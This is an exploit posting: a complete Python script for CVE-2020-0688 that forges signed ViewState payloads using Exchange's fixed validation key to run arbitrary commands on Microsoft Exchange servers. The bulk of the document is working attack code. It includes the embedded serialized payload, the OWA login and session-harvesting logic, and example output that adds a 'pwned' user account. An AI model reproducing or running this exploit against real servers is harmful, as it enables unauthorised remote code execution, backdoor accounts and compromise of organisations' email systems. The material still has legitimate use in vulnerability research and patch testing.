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Microsoft Exchange 2019 15.2.221.12 Remote Code Execution

Microsoft Exchange 2019 15.2.221.12 Remote Code Execution
Posted Mar 2, 2020
Authored by Photubias

Microsoft Exchange 2019 version 15.2.221.12 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-0688
MD5 | b2b86272dc81d9cb5dc7d3f7fcf5da05

Microsoft Exchange 2019 15.2.221.12 Remote Code Execution

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# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution
# Date: 2020-02-28
# Exploit Author: Photubias
# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2010 SP3 up to 2019 CU4
# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019
# CVE: CVE-2020-0688

#! /usr/bin/env python
# -*- coding: utf-8 -*-
'''


Copyright 2020 Photubias(c)

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CVE-2020-0688-Photubias.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

This is a native implementation without requirements, written in Python 2.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net

Example Output:
CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add"
[+] Login worked
[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570
[+] Detected OWA version number 15.2.221.12
[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!
[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:
[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==
Sending now ...
'''
import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass

## STATIC STRINGS
# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)
strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')
# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)
strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')

def convertInt(iInput, length):
return struct.pack("<I" , int(iInput)).encode('hex')[:length]

def getYsoserialPayload(sCommand, sSessionId):
## PART1 of the payload to hash
strPart1 = strSerTemplate.replace('###payload###', sCommand)
## Fix the length fields
#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))
#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))
strLength1 = convertInt(0x06b8 + len(sCommand),4)
strLength2 = convertInt(0x04da + len(sCommand),4)
strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]
strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]

## PART2 of the payload to hash
strPart2 = '274e7bb9'
for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'
strPart2 = binascii.unhexlify(strPart2)

strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()
strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))
return strResult

def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):
if not sTarget[-1:] == '/': sTarget += '/'
## Verify Login
lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}
try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()
except: print('[!] Error, ' + sTarget + ' not reachable')
bLoggedIn = False
for cookie in oCookjar:
if cookie.name == 'cadata': bLoggedIn = True
if not bLoggedIn:
print('[-] Login Wrong, too bad')
exit(1)
print('[+] Login worked')

## Verify Session ID
sSessionId = ''
sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()
for cookie in oCookjar:
if 'SessionId' in cookie.name: sSessionId = cookie.value
print('[+] Got ASP.NET Session ID: ' + sSessionId)

## Verify OWA Version
sVersion = ''
try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]
except: sVersion = 'favicon'
if 'favicon' in sVersion:
print('[*] Problem, this user has never logged in before (wizard detected)')
print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx')
exit(1)
print('[+] Detected OWA version number '+sVersion)

## Verify ViewStateValue
sViewState = ''
try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]
except: pass
if sViewState == 'B97B4E27':
print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!')
else:
print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)
ans = raw_input('[?] Still want to try the exploit? [y/N]: ')
if ans == '' or ans.lower() == 'n': exit(1)
return sSessionId, sTarget, sViewState

def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')
parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='')
parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')
parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')
args = parser.parse_args()
if args.target == '' or args.username == '' or args.command == '':
print('[!] Example usage: ')
print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"')
else:
if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')
else: sPassword = args.password
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
oCookjar = cookielib.CookieJar()
#oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})
#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)
oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))
sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)
ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')
if ans.lower() == 'n': exit(0)
sPayLoad = getYsoserialPayload(args.command, sSessionId)
print('[+] Got Payload: ' + sPayLoad)
sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)
print(' Sending now ...')
try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))
except urllib2.HTTPError, e:
if e.code == '500': print('[+] This probably worked (Error Code 500 received)')

if __name__ == "__main__":
main()
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